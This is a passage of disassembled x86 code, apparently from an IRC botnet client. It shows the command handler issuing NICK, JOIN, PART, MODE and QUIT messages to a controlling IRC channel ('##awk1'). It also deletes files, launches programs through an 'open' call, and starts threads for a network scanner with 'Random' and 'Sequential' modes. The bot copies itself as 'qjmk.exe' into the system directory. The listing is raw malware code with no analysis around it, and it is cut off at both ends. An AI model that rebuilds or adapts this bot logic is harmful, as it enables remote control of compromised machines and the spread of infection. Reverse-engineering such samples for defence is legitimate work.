--------------------------------------------------------------------------- loc_40B784: ; CODE XREF: sub_4087B3+1B05j ; sub_4087B3+1B1Aj push [ebp+esi+var_94] lea eax, [ebp+var_2E4] push [ebp+arg_18] push offset aJoinSS_0 ; "JOIN %s %s" push eax call sub_416821 push [ebp+arg_10] call sub_416CCF add esp, 14h jmp short loc_40B73D ; --------------------------------------------------------------------------- loc_40B7AC: ; CODE XREF: sub_4087B3+1ADBj ; sub_4087B3+1AF0j push [ebp+arg_18] lea eax, [ebp+var_2E4] push offset aNickS_0 ; "NICK %s" push eax call sub_416821 mov esi, [ebp+arg_10] push esi call sub_416CCF add esp, 10h test eax, eax jle loc_40D023 push esi call sub_416CCF cmp eax, 1F4h pop ecx jge loc_40D023 lea eax, [ebp+var_2E4] push eax push offset aS ; "%s\r\n" push esi call sub_416CCF imul eax, 234h pop ecx push dword_43E92C[eax] call sub_401032 push [ebp+arg_18] push esi push offset dword_42E534 loc_40B813: ; CODE XREF: sub_4087B3+30EAj ; sub_4087B3+3158j ... call sub_4012B2 jmp loc_40CA7A ; --------------------------------------------------------------------------- loc_40B81D: ; CODE XREF: sub_4087B3+1AB1j ; sub_4087B3+1AC6j cmp [ebp+var_C], ebx jz loc_40D023 push [ebp+arg_18] push [ebp+var_C] call sub_417760 mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_40B84E push esi lea eax, [ebp+var_2E4] push offset aModeS ; "MODE %s" push eax call sub_416821 add esp, 0Ch loc_40B84E: ; CODE XREF: sub_4087B3+3084j mov edi, [ebp+arg_10] push edi call sub_416CCF test eax, eax pop ecx jle loc_40D023 push edi call sub_416CCF cmp eax, 1F4h pop ecx jge loc_40D023 lea eax, [ebp+var_2E4] push eax push offset aS ; "%s\r\n" push edi call sub_416CCF imul eax, 234h pop ecx push dword_43E92C[eax] call sub_401032 push esi push edi push offset dword_42E4F8 jmp loc_40B813 ; --------------------------------------------------------------------------- loc_40B8A2: ; CODE XREF: sub_4087B3+1A87j ; sub_4087B3+1A9Cj cmp [ebp+var_C], ebx jz loc_40D023 push [ebp+arg_18] push [ebp+var_C] call sub_417760 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_40D023 mov edi, [ebp+arg_10] push edi call sub_416CCF test eax, eax pop ecx jle loc_40D023 push edi call sub_416CCF cmp eax, 1F4h pop ecx jge loc_40D023 push esi push offset aS ; "%s\r\n" push edi call sub_416CCF imul eax, 234h pop ecx push dword_43E92C[eax] call sub_401032 push esi push edi push offset dword_42E4CC jmp loc_40B813 ; --------------------------------------------------------------------------- loc_40B910: ; CODE XREF: sub_4087B3+1A5Dj ; sub_4087B3+1A72j cmp [ebp+var_C], ebx jz loc_40D023 push [ebp+arg_10] push [ebp+var_C] call sub_417760 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_40D023 push esi push offset aModeS_0 ; "MODE %s\r\n" push [ebp+arg_4] call sub_401032 push esi push offset unk_42E494 jmp loc_40C14E ; --------------------------------------------------------------------------- loc_40B949: ; CODE XREF: sub_4087B3+1A33j ; sub_4087B3+1A48j push [ebp+var_9C] push offset a332 ; "332" call sub_416B70 pop ecx test eax, eax pop ecx jz loc_408B77 push [ebp+arg_18] push offset aPartS_0 ; "PART %s\r\n" push [ebp+arg_4] call sub_401032 push [ebp+arg_10] call sub_416CCF imul eax, 3E8h add esp, 10h push eax call ds:dword_495324 ; Sleep push [ebp+esi+var_94] push [ebp+arg_18] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_401032 push offset dword_42E464 call sub_401014 jmp loc_40C153 ; --------------------------------------------------------------------------- loc_40B9B1: ; CODE XREF: sub_4087B3+1A09j ; sub_4087B3+1A1Ej cmp [ebp+var_C], ebx jz loc_40D023 push [ebp+arg_10] call sub_4158E0 push edi mov esi, eax call sub_4158E0 add eax, [ebp+var_C] push [ebp+arg_18] lea eax, [eax+esi+2] push eax call sub_417760 mov esi, eax add esp, 10h cmp esi, ebx jz loc_40D023 push esi lea eax, [ebp+var_2E4] push offset dword_42EACC push eax call sub_416821 push ebx lea eax, [ebp+var_2E4] push ebx push eax push [ebp+arg_10] push [ebp+arg_4] call sub_4010D2 push esi push [ebp+arg_10] push offset unk_42E438 call sub_4012B2 add esp, 2Ch jmp loc_40D023 ; --------------------------------------------------------------------------- loc_40BA23: ; CODE XREF: sub_4087B3+19DFj ; sub_4087B3+19F4j cmp [ebp+var_C], ebx jz loc_40D023 push [ebp+arg_10] call sub_4158E0 push edi mov esi, eax call sub_4158E0 add eax, [ebp+var_C] push [ebp+arg_18] lea eax, [eax+esi+2] push eax call sub_417760 mov esi, eax add esp, 10h cmp esi, ebx jz loc_40D023 push ebx push ebx push esi push [ebp+arg_10] push [ebp+arg_4] call sub_4010D2 push esi push [ebp+arg_10] push offset unk_42E408 call sub_4012B2 loc_40BA75: ; CODE XREF: sub_4087B3+210Fj add esp, 20h jmp loc_40D023 ; --------------------------------------------------------------------------- loc_40BA7D: ; CODE XREF: sub_4087B3+19B5j ; sub_4087B3+19CAj cmp [ebp+var_C], ebx jz loc_408B77 push [ebp+arg_18] push [ebp+var_C] call sub_417760 pop ecx cmp eax, ebx pop ecx jz loc_408B77 push eax push [ebp+arg_10] call sub_401037 push [ebp+arg_10] lea eax, [ebp+var_2E4] push offset unk_42E3D8 push eax call sub_416821 add esp, 14h jmp loc_40A72D ; --------------------------------------------------------------------------- loc_40BAC0: ; CODE XREF: sub_4087B3+1979j ; sub_4087B3+198Ej push [ebp+arg_10] push [ebp+arg_1C] call sub_417760 pop ecx test eax, eax pop ecx jz loc_40D023 mov esi, [ebp+esi+var_98] cmp esi, ebx jz loc_40BB65 push esi push [ebp+var_C] call sub_417760 mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_40BB4D push esi lea eax, [ebp+var_2E4] push [ebp+var_98] push [ebp+var_9C] push [ebp+var_A0] push offset aSSSS ; "%s %s %s :%s" push eax call sub_416821 lea eax, [ebp+var_2E4] push 1FFh push eax push [ebp+arg_0] call sub_416A10 push esi lea eax, [ebp+var_2E4] push [ebp+arg_10] push offset unk_42E3A0 push eax call sub_416821 add esp, 34h inc [ebp+arg_24] jmp loc_40CC93 ; --------------------------------------------------------------------------- loc_40BB4D: ; CODE XREF: sub_4087B3+3340j lea eax, [ebp+var_2E4] push offset unk_42E35C push eax call sub_416821 pop ecx pop ecx jmp loc_40CC93 ; --------------------------------------------------------------------------- loc_40BB65: ; CODE XREF: sub_4087B3+332Bj push ebx lea eax, [ebp+var_2E4] push [ebp+var_4] push [ebp+arg_4] push [ebp+arg_1C] push eax call sub_401302 add esp, 0Ch push eax push [ebp+var_98] push [ebp+arg_4] call sub_4010D2 push [ebp+arg_10] lea eax, [ebp+var_2E4] push offset dword_42E334 push 200h push eax call sub_4163D7 add esp, 24h jmp loc_40CC93 ; --------------------------------------------------------------------------- loc_40BBAE: ; CODE XREF: sub_4087B3+15B0j ; sub_4087B3+15C5j push offset aR ; "r" push [ebp+arg_10] call sub_417012 mov edi, eax pop ecx cmp edi, ebx pop ecx jz short loc_40BC2C mov esi, 200h push edi lea eax, [ebp+var_2E4] push esi push eax call sub_417A47 add esp, 0Ch loc_40BBD9: ; CODE XREF: sub_4087B3+3455j test eax, eax jz short loc_40BC0A push 1 lea eax, [ebp+var_2E4] push [ebp+var_4] push eax push [ebp+var_98] push [ebp+arg_4] call sub_4010D2 push edi lea eax, [ebp+var_2E4] push esi push eax call sub_417A47 add esp, 20h jmp short loc_40BBD9 ; --------------------------------------------------------------------------- loc_40BC0A: ; CODE XREF: sub_4087B3+3428j push edi call sub_416D94 push [ebp+arg_10] lea eax, [ebp+var_2E4] push offset unk_42E300 push eax call sub_416821 add esp, 10h jmp loc_40B5AF ; --------------------------------------------------------------------------- loc_40BC2C: ; CODE XREF: sub_4087B3+340Ej push [ebp+arg_10] push offset unk_42E2CC jmp loc_40CEF5 ; --------------------------------------------------------------------------- loc_40BC39: ; CODE XREF: sub_4087B3+1586j ; sub_4087B3+159Bj cmp [ebp+var_C], ebx jz loc_40D023 push [ebp+arg_10] push [ebp+var_C] call sub_417760 pop ecx cmp eax, ebx pop ecx jz loc_40D023 push eax call sub_4011F4 test eax, eax pop ecx jnz short loc_40BC6C push offset dword_42E29C jmp loc_40BE82 ; --------------------------------------------------------------------------- loc_40BC6C: ; CODE XREF: sub_4087B3+34ADj push offset dword_42E270 jmp loc_40BE82 ; --------------------------------------------------------------------------- loc_40BC76: ; CODE XREF: sub_4087B3+155Cj ; sub_4087B3+1571j push 7Fh lea eax, [ebp+var_6F4] push [ebp+arg_10] push eax call sub_416A10 mov esi, [ebp+esi+var_98] add esp, 0Ch cmp esi, ebx jz short loc_40BCA7 push 7Fh lea eax, [ebp+var_674] push esi push eax call sub_416A10 add esp, 0Ch loc_40BCA7: ; CODE XREF: sub_4087B3+34E0j push 7Fh lea eax, [ebp+var_5F4] push [ebp+var_98] push eax call sub_416A10 mov eax, [ebp+arg_4] push [ebp+arg_10] mov [ebp+var_6F8], eax mov eax, [ebp+var_8] mov [ebp+var_570], eax mov eax, [ebp+var_4] mov [ebp+var_56C], eax lea eax, [ebp+var_2E4] push offset dword_42E248 push eax call sub_416821 push ebx lea eax, [ebp+var_2E4] push 14h push eax call sub_40105F add esp, 24h mov [ebp+var_574], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_6F8] push ebx push eax push offset sub_4011B3 push ebx push ebx call ds:dword_49532C ; CreateThread mov ecx, [ebp+var_574] imul ecx, 234h cmp eax, ebx mov dword_43E934[ecx], eax jz short loc_40BD47 loc_40BD31: ; CODE XREF: sub_4087B3+3592j cmp [ebp+var_568], ebx jnz loc_40CC93 push 32h call ds:dword_495324 ; Sleep jmp short loc_40BD31 ; --------------------------------------------------------------------------- loc_40BD47: ; CODE XREF: sub_4087B3+357Cj call ds:dword_495328 ; RtlGetLastWin32Error push eax push offset unk_42E1F0 jmp loc_40CC84 ; --------------------------------------------------------------------------- loc_40BD58: ; CODE XREF: sub_4087B3+1532j ; sub_4087B3+1547j push [ebp+arg_10] call ds:dword_495394 ; DeleteFileA test eax, eax jz short loc_40BD6F push [ebp+arg_10] push offset dword_42E1C4 jmp short loc_40BD7A ; --------------------------------------------------------------------------- loc_40BD6F: ; CODE XREF: sub_4087B3+35B0j push offset dword_42E798 call sub_4010F5 push eax loc_40BD7A: ; CODE XREF: sub_4087B3+35BAj lea eax, [ebp+var_2E4] push 200h push eax call sub_4163D7 add esp, 10h jmp loc_40A0FB ; --------------------------------------------------------------------------- loc_40BD93: ; CODE XREF: sub_4087B3+1508j ; sub_4087B3+151Dj push [ebp+arg_10] call sub_416CCF push eax call sub_40124E pop ecx pop ecx push 1 pop esi push [ebp+arg_10] cmp eax, esi jnz short loc_40BDB4 push offset unk_42E18C jmp short loc_40BDB9 ; --------------------------------------------------------------------------- loc_40BDB4: ; CODE XREF: sub_4087B3+35F8j push offset unk_42E144 loc_40BDB9: ; CODE XREF: sub_4087B3+35FFj lea eax, [ebp+var_2E4] push eax call sub_416821 add esp, 0Ch cmp [ebp+var_8], ebx jnz loc_40B354 push ebx lea eax, [ebp+var_2E4] push [ebp+var_4] push eax push [ebp+var_98] push [ebp+arg_4] call sub_4010D2 add esp, 14h jmp loc_40B354 ; --------------------------------------------------------------------------- loc_40BDF2: ; CODE XREF: sub_4087B3+14DEj ; sub_4087B3+14F3j push ebx push ebx push [ebp+arg_10] push [ebp+var_4] push ebx push [ebp+arg_4] call sub_401280 add esp, 18h cmp eax, 1 push [ebp+arg_10] jnz short loc_40BE18 push offset unk_42E110 jmp loc_40CEF5 ; --------------------------------------------------------------------------- loc_40BE18: ; CODE XREF: sub_4087B3+3659j push offset unk_42E0CC jmp loc_40CEF5 ; --------------------------------------------------------------------------- loc_40BE22: ; CODE XREF: sub_4087B3+14B4j ; sub_4087B3+14C9j mov esi, [ebp+arg_10] push esi call dword_49169C ; inet_addr cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz short loc_40BE62 push 2 lea eax, [ebp+arg_0] push 4 push eax call dword_491614 ; gethostbyaddr cmp eax, ebx jz short loc_40BE7D push dword ptr [eax] loc_40BE48: ; CODE XREF: sub_4087B3+36C8j push esi lea eax, [ebp+var_2E4] push offset dword_42E09C push eax call sub_416821 add esp, 10h jmp loc_40A6BC ; --------------------------------------------------------------------------- loc_40BE62: ; CODE XREF: sub_4087B3+367Fj push esi call dword_4916E0 ; gethostbyname cmp eax, ebx jz short loc_40BE7D mov eax, [eax+0Ch] mov eax, [eax] push dword ptr [eax] call dword_4916E8 ; inet_ntoa push eax jmp short loc_40BE48 ; --------------------------------------------------------------------------- loc_40BE7D: ; CODE XREF: sub_4087B3+3691j ; sub_4087B3+36B8j push offset dword_42E060 loc_40BE82: ; CODE XREF: sub_4087B3+2C3Aj ; sub_4087B3+34B4j ... lea eax, [ebp+var_2E4] push eax call sub_416821 pop ecx pop ecx jmp loc_40A6BC ; --------------------------------------------------------------------------- loc_40BE95: ; CODE XREF: sub_4087B3+148Aj ; sub_4087B3+149Fj push 7Fh push [ebp+arg_10] push [ebp+arg_14] call sub_416A10 push [ebp+arg_10] lea eax, [ebp+var_2E4] push offset unk_42E028 push eax call sub_416821 add esp, 18h jmp loc_40B330 ; --------------------------------------------------------------------------- loc_40BEBE: ; CODE XREF: sub_4087B3+1460j ; sub_4087B3+1475j push 5 push ebx push ebx push [ebp+arg_10] push offset aOpen ; "open" push ebx call dword_4915D0 push [ebp+arg_10] test eax, eax jz short loc_40BEE2 push offset unk_42DFF8 jmp loc_40CEF5 ; --------------------------------------------------------------------------- loc_40BEE2: ; CODE XREF: sub_4087B3+3723j push offset unk_42DFC0 jmp loc_40CEF5 ; --------------------------------------------------------------------------- loc_40BEEC: ; CODE XREF: sub_4087B3+1436j ; sub_4087B3+144Bj mov eax, [ebp+arg_10] mov cl, [eax] mov byte_42C952, cl movsx eax, byte ptr [eax] push eax push offset unk_42DF88 jmp loc_40CFA0 ; --------------------------------------------------------------------------- loc_40BF05: ; CODE XREF: sub_4087B3+140Cj ; sub_4087B3+1421j push [ebp+arg_10] call sub_416CCF test eax, eax pop ecx jle loc_40D023 push [ebp+arg_10] call sub_416CCF cmp eax, 1F4h pop ecx jge loc_40D023 push ebx push ebx lea eax, [ebp+var_20] push 2 push eax call sub_401343 push eax lea eax, [ebp+var_2E4] push offset aNickS_0 ; "NICK %s" push eax call sub_416821 add esp, 1Ch jmp loc_40B759 ; --------------------------------------------------------------------------- loc_40BF51: ; CODE XREF: sub_4087B3+13E2j ; sub_4087B3+13F7j mov edi, [ebp+arg_10] push edi call sub_416CCF test eax, eax pop ecx jle loc_408B77 push edi call sub_416CCF mov esi, 1F4h pop ecx cmp eax, esi jge loc_408B77 push offset aQuitLater ; "QUIT :later\r\n" push edi call sub_416CCF imul eax, 234h pop ecx push dword_43E92C[eax] call sub_401032 pop ecx pop ecx push esi call ds:dword_495324 ; Sleep push edi call sub_416CCF imul eax, 234h pop ecx push dword_43E92C[eax] call dword_4916F4 ; closesocket push [ebp+var_10] push edi call sub_416CCF imul eax, 234h pop ecx push dword_43E934[eax] call ds:dword_4953B4 ; TerminateThread push edi call sub_416CCF imul eax, 234h push edi mov dword_43E934[eax], ebx call sub_416CCF imul eax, 234h pop ecx pop ecx mov byte ptr dword_43E720[eax], bl jmp loc_408B77 ; --------------------------------------------------------------------------- loc_40BFFD: ; CODE XREF: sub_4087B3+13B8j ; sub_4087B3+13CDj push [ebp+arg_10] push offset dword_42DF74 call sub_416B70 pop ecx test eax, eax pop ecx jnz short loc_40C02E call sub_401109 cmp eax, ebx jle short loc_40C024 push eax push offset unk_42DF38 jmp loc_40A71E ; --------------------------------------------------------------------------- loc_40C024: ; CODE XREF: sub_4087B3+3864j push offset unk_42DEFC jmp loc_40C455 ; --------------------------------------------------------------------------- loc_40C02E: ; CODE XREF: sub_4087B3+385Bj mov eax, [ebp+var_A8] lea edi, [eax+1] cmp edi, 20h jnb loc_408B77 lea eax, [ebp+edi*4+var_A0] mov [ebp+arg_24], eax loc_40C04A: ; CODE XREF: sub_4087B3+3908j mov eax, [ebp+arg_24] mov esi, [eax] cmp esi, ebx jz loc_408B77 push esi call sub_416CCF push eax call sub_4010A5 pop ecx pop ecx test eax, eax push esi jz short loc_40C071 push offset unk_42DEC8 jmp short loc_40C076 ; --------------------------------------------------------------------------- loc_40C071: ; CODE XREF: sub_4087B3+38B5j push offset unk_42DE88 loc_40C076: ; CODE XREF: sub_4087B3+38BCj lea eax, [ebp+var_2E4] push eax call sub_416821 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_40C0A6 push ebx lea eax, [ebp+var_2E4] push [ebp+var_4] push eax push [ebp+var_98] push [ebp+arg_4] call sub_4010D2 add esp, 14h loc_40C0A6: ; CODE XREF: sub_4087B3+38D5j lea eax, [ebp+var_2E4] push eax call sub_401014 add [ebp+arg_24], 4 inc edi cmp edi, 20h pop ecx jb short loc_40C04A jmp loc_408B77 ; --------------------------------------------------------------------------- loc_40C0C2: ; CODE XREF: sub_4087B3+138Ej ; sub_4087B3+13A3j cmp [ebp+var_C], ebx jz loc_40D023 push [ebp+arg_10] push [ebp+var_C] call sub_417760 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_40D023 push esi push offset aS ; "%s\r\n" push [ebp+arg_4] call sub_401032 push esi push offset dword_42DE60 jmp short loc_40C14E ; --------------------------------------------------------------------------- loc_40C0F8: ; CODE XREF: sub_4087B3+1364j ; sub_4087B3+1379j push [ebp+arg_10] push offset aPartS_0 ; "PART %s\r\n" push [ebp+arg_4] call sub_401032 push [ebp+arg_10] push offset unk_42DE2C jmp short loc_40C14E ; --------------------------------------------------------------------------- loc_40C112: ; CODE XREF: sub_4087B3+133Aj ; sub_4087B3+134Fj push [ebp+esi+var_98] push [ebp+arg_10] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_401032 push [ebp+arg_10] push offset unk_42DDF8 jmp loc_40B813 ; --------------------------------------------------------------------------- loc_40C136: ; CODE XREF: sub_4087B3+1310j ; sub_4087B3+1325j push [ebp+arg_10] push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] call sub_401032 push [ebp+arg_10] push offset unk_42DDC4 loc_40C14E: ; CODE XREF: sub_4087B3+3191j ; sub_4087B3+3943j ... call sub_4012B2 loc_40C153: ; CODE XREF: sub_4087B3+31F9j add esp, 14h jmp loc_40D023 ; --------------------------------------------------------------------------- loc_40C15B: ; CODE XREF: sub_4087B3+12D4j ; sub_4087B3+12E9j mov al, byte_42B03A mov [ebp+arg_0], ebx cmp al, bl mov edx, offset byte_42B03A jz loc_408B77 mov ecx, edx loc_40C172: ; CODE XREF: sub_4087B3+39C7j inc [ebp+arg_0] add ecx, 0Bh cmp [ecx], bl jnz short loc_40C172 cmp al, bl jz loc_408B77 mov [ebp+arg_18], edx loc_40C187: ; CODE XREF: sub_4087B3+3C92j push 8 call sub_4010E6 pop ecx mov ecx, eax mov eax, 190h cdq idiv [ebp+arg_0] add eax, ecx cmp eax, 0C8h jle short loc_40C1D6 push ecx lea eax, [ebp+var_2E4] push offset dword_42EC14 push eax call sub_416821 push ebx lea eax, [ebp+var_2E4] push [ebp+var_4] push eax push [ebp+var_98] push [ebp+arg_4] call sub_4010D2 add esp, 20h jmp loc_40C43C ; --------------------------------------------------------------------------- loc_40C1D6: ; CODE XREF: sub_4087B3+39EEj or [ebp+var_300], 0FFFFFFFFh cmp dword_42AF28, ebx mov [ebp+var_304], 1Eh mov [ebp+var_318], 5 mov [ebp+var_314], 140h mov [ebp+arg_0], ebx jz short loc_40C247 mov eax, [ebp+arg_18] mov edi, offset dword_42AF28 lea esi, [eax-0Ah] loc_40C211: ; CODE XREF: sub_4087B3+3A76j lea eax, [edi-28h] push esi push eax call sub_416B70 pop ecx test eax, eax pop ecx jz short loc_40C22D inc [ebp+arg_0] add edi, 3Ch cmp [edi], ebx jnz short loc_40C211 jmp short loc_40C247 ; --------------------------------------------------------------------------- loc_40C22D: ; CODE XREF: sub_4087B3+3A6Cj mov eax, [ebp+arg_0] mov ecx, eax mov [ebp+var_300], eax imul ecx, 3Ch mov ecx, dword_42AF28[ecx] mov [ebp+var_31C], ecx loc_40C247: ; CODE XREF: sub_4087B3+3A51j ; sub_4087B3+3A78j cmp [ebp+var_31C], ebx jz loc_40C450 push 10h lea eax, [ebp+arg_10] pop esi push eax lea eax, [ebp+var_D8] push eax mov [ebp+arg_10], esi push [ebp+arg_4] call dword_491600 ; getsockname mov al, [ebp+var_9B3] push esi neg al sbb eax, eax and ax, 100h add eax, 0FFFFh and [ebp+var_D4], eax push [ebp+var_D4] call dword_4916E8 ; inet_ntoa push eax lea eax, [ebp+var_430] push eax call sub_416A10 xor eax, eax cmp [ebp+var_9B3], bl push 30h setnz al inc eax inc eax mov edi, eax lea eax, [ebp+var_430] push eax call sub_4169E0 add esp, 14h cmp edi, ebx mov byte ptr [ebp+arg_24+3], bl jle short loc_40C2E9 loc_40C2C7: ; CODE XREF: sub_4087B3+3B34j cmp eax, ebx jz short loc_40C2E9 mov byte ptr [eax], 78h lea eax, [ebp+var_430] push 30h push eax call sub_4169E0 inc byte ptr [ebp+arg_24+3] pop ecx pop ecx movsx ecx, byte ptr [ebp+arg_24+3] cmp ecx, edi jl short loc_40C2C7 loc_40C2E9: ; CODE XREF: sub_4087B3+3B12j ; sub_4087B3+3B16j mov eax, [ebp+arg_4] push [ebp+var_98] mov esi, [ebp+var_4] mov [ebp+var_320], eax mov eax, [ebp+var_8] mov edi, 80h mov [ebp+var_2F4], eax lea eax, [ebp+var_420] push edi push eax mov [ebp+var_2F0], 1 mov [ebp+var_2F8], esi call sub_4163D7 push offset byte_4370BC push offset aAwk1 ; "##awk1" call sub_416B70 add esp, 14h test eax, eax jz short loc_40C353 push offset aAwk1 ; "##awk1" lea eax, [ebp+var_3A0] push edi push eax call sub_4163D7 add esp, 0Ch jmp short loc_40C359 ; --------------------------------------------------------------------------- loc_40C353: ; CODE XREF: sub_4087B3+3B87j mov [ebp+var_3A0], bl loc_40C359: ; CODE XREF: sub_4087B3+3B9Ej cmp [ebp+var_2F0], ebx mov eax, offset aRandom ; "Random" jnz short loc_40C36B mov eax, offset aSequential ; "Sequential" loc_40C36B: ; CODE XREF: sub_4087B3+3BB1j push [ebp+var_304] lea ecx, [ebp+var_430] push [ebp+var_314] push [ebp+var_318] push [ebp+var_31C] push ecx push eax lea eax, [ebp+var_2E4] push offset dword_42EB28 push eax call sub_416821 push ebx lea eax, [ebp+var_2E4] push 8 push eax call sub_40105F add esp, 2Ch mov [ebp+var_310], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_430] push ebx push eax push offset loc_401366 push ebx push ebx call ds:dword_49532C ; CreateThread mov ecx, [ebp+var_310] imul ecx, 234h cmp eax, ebx mov dword_43E934[ecx], eax jz short loc_40C3F5 loc_40C3E3: ; CODE XREF: sub_4087B3+3C40j cmp [ebp+var_2EC], ebx jnz short loc_40C410 push 32h call ds:dword_495324 ; Sleep jmp short loc_40C3E3 ; --------------------------------------------------------------------------- loc_40C3F5: ; CODE XREF: sub_4087B3+3C2Ej call ds:dword_495328 ; RtlGetLastWin32Error push eax lea eax, [ebp+var_2E4] push offset dword_42EADC push eax call sub_416821 add esp, 0Ch loc_40C410: ; CODE XREF: sub_4087B3+3C36j cmp [ebp+var_8], ebx jnz short loc_40C42F push ebx lea eax, [ebp+var_2E4] push esi push eax push [ebp+var_98] push [ebp+arg_4] call sub_4010D2 add esp, 14h loc_40C42F: ; CODE XREF: sub_4087B3+3C60j lea eax, [ebp+var_2E4] push eax call sub_401014 pop ecx loc_40C43C: ; CODE XREF: sub_4087B3+3A1Ej add [ebp+arg_18], 0Bh mov eax, [ebp+arg_18] cmp [eax], bl jnz loc_40C187 jmp loc_408B77 ; --------------------------------------------------------------------------- loc_40C450: ; CODE XREF: sub_4087B3+21D3j ; sub_4087B3+3A9Aj push offset dword_42DD78 loc_40C455: ; CODE XREF: sub_4087B3+2234j ; sub_4087B3+3876j lea eax, [ebp+var_2E4] push eax call sub_416821 pop ecx pop ecx jmp loc_40A72D ; --------------------------------------------------------------------------- loc_40C468: ; CODE XREF: sub_4087B3+12AAj ; sub_4087B3+12BFj push 4 call sub_4010E6 test eax, eax pop ecx jle short loc_40C47E push offset dword_42DD48 jmp loc_409E4E ; --------------------------------------------------------------------------- loc_40C47E: ; CODE XREF: sub_4087B3+3CBFj mov eax, [ebp+esi+var_9C] cmp eax, ebx jz short loc_40C4A1 push eax mov edi, 104h lea eax, [ebp+var_804] push edi push eax call sub_4163D7 add esp, 0Ch jmp short loc_40C4B5 ; --------------------------------------------------------------------------- loc_40C4A1: ; CODE XREF: sub_4087B3+3CD4j mov edi, 104h lea eax, [ebp+var_804] push edi push eax push ebx call ds:dword_495330 ; GetModuleFileNameA loc_40C4B5: ; CODE XREF: sub_4087B3+3CECj mov esi, [ebp+esi+var_98] cmp esi, ebx jnz short loc_40C4C5 mov esi, offset aQjmk_exe ; "qjmk.exe" loc_40C4C5: ; CODE XREF: sub_4087B3+3D0Bj push esi lea eax, [ebp+var_700] push edi push eax call sub_4163D7 mov eax, dword_42C920 push 7Fh push [ebp+var_98] mov [ebp+var_5F4], eax mov eax, [ebp+arg_4] mov [ebp+var_5F8], ebx mov [ebp+var_808], eax lea eax, [ebp+var_5F0] push eax call sub_416A10 mov eax, [ebp+var_4] mov [ebp+var_570], eax mov eax, [ebp+var_8] mov [ebp+var_56C], eax lea eax, [ebp+var_700] push eax lea eax, [ebp+var_804] push eax lea eax, [ebp+var_2E4] push [ebp+var_5F4] push offset dword_42DCF0 push eax call sub_416821 push ebx lea eax, [ebp+var_2E4] push 4 push eax call sub_40105F add esp, 38h mov [ebp+var_5FC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_808] push ebx push eax push offset sub_4012EE push ebx push ebx call ds:dword_49532C ; CreateThread mov ecx, [ebp+var_5FC] imul ecx, 234h cmp eax, ebx mov dword_43E934[ecx], eax jz short loc_40C595 loc_40C57F: ; CODE XREF: sub_4087B3+3DE0j cmp [ebp+var_568], ebx jnz loc_40B330 push 32h call ds:dword_495324 ; Sleep jmp short loc_40C57F ; --------------------------------------------------------------------------- loc_40C595: ; CODE XREF: sub_4087B3+3DCAj call ds:dword_495328 ; RtlGetLastWin32Error push eax push offset dword_42DCA0 jmp loc_40CFA0 ; --------------------------------------------------------------------------- loc_40C5A6: ; CODE XREF: sub_4087B3+1280j ; sub_4087B3+1295j mov edi, [ebp+esi+var_9C] cmp edi, ebx jz short loc_40C5C5 push edi call sub_416CCF test eax, eax pop ecx jz short loc_40C5C5 push edi call sub_416CCF pop ecx jmp short loc_40C5CA ; --------------------------------------------------------------------------- loc_40C5C5: ; CODE XREF: sub_4087B3+3DFCj ; sub_4087B3+3E07j mov eax, dword_42C924 loc_40C5CA: ; CODE XREF: sub_4087B3+3E10j mov esi, [ebp+esi+var_98] mov [ebp+var_584], eax xor eax, eax cmp [ebp+var_9B0], bl setz al cmp esi, ebx mov [ebp+var_570], eax jz short loc_40C5FD lea eax, [ebp+var_688] push esi push eax call sub_416821 pop ecx pop ecx jmp short loc_40C628 ; --------------------------------------------------------------------------- loc_40C5FD: ; CODE XREF: sub_4087B3+3E37j lea eax, [ebp+var_3E8] push 104h push eax call ds:dword_495364 ; GetSystemDirectoryA push ebx push ebx lea eax, [ebp+var_D4] push ebx push eax lea eax, [ebp+var_3E8] push eax call sub_417900 add esp, 14h loc_40C628: ; CODE XREF: sub_4087B3+3E48j lea eax, [ebp+var_688] push eax call sub_4158E0 cmp [ebp+eax+var_689], 5Ch pop ecx jnz short loc_40C653 lea eax, [ebp+var_688] push eax call sub_4158E0 pop ecx mov [ebp+eax+var_689], bl loc_40C653: ; CODE XREF: sub_4087B3+3E8Aj push [ebp+var_98] mov esi, [ebp+arg_4] lea eax, [ebp+var_910] mov [ebp+var_914], esi push 80h push eax call sub_4163D7 mov eax, [ebp+var_8] mov edi, [ebp+var_4] add esp, 0Ch mov [ebp+var_574], eax lea eax, [ebp+var_688] mov [ebp+var_578], edi push eax push [ebp+var_584] push esi call sub_401299 pop ecx push eax lea eax, [ebp+var_2E4] push offset unk_42DC4C push eax call sub_416821 push ebx lea eax, [ebp+var_2E4] push 3 push eax call sub_40105F add esp, 20h mov [ebp+var_57C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_914] push ebx push eax push offset sub_4012F8 push ebx push ebx call ds:dword_49532C ; CreateThread mov ecx, [ebp+var_57C] imul ecx, 234h cmp eax, ebx mov dword_43E934[ecx], eax jz short loc_40C707 loc_40C6F5: ; CODE XREF: sub_4087B3+3F52j cmp [ebp+var_568], ebx jnz short loc_40C722 push 32h call ds:dword_495324 ; Sleep jmp short loc_40C6F5 ; --------------------------------------------------------------------------- loc_40C707: ; CODE XREF: sub_4087B3+3F40j call ds:dword_495328 ; RtlGetLastWin32Error push eax push offset unk_42DBF8 loc_40C713: ; CODE XREF: sub_4087B3+26FCj ; sub_4087B3+27F8j ... lea eax, [ebp+var_2E4] push eax call sub_416821 add esp, 0Ch loc_40C722: ; CODE XREF: sub_4087B3+26E0j ; sub_4087B3+27DCj ... cmp [ebp+var_8], ebx jnz loc_40CEDA push ebx lea eax, [ebp+var_2E4] push edi push eax push [ebp+var_98] push esi loc_40C73B: ; CODE XREF: sub_4087B3+1F97j call sub_4010D2 add esp, 14h jmp loc_40CEDA ; --------------------------------------------------------------------------- loc_40C748: ; CODE XREF: sub_4087B3+1256j ; sub_4087B3+126Bj mov esi, [ebp+esi+var_9C] cmp esi, ebx jz short loc_40C75B push esi call sub_416CCF jmp short loc_40C762 ; 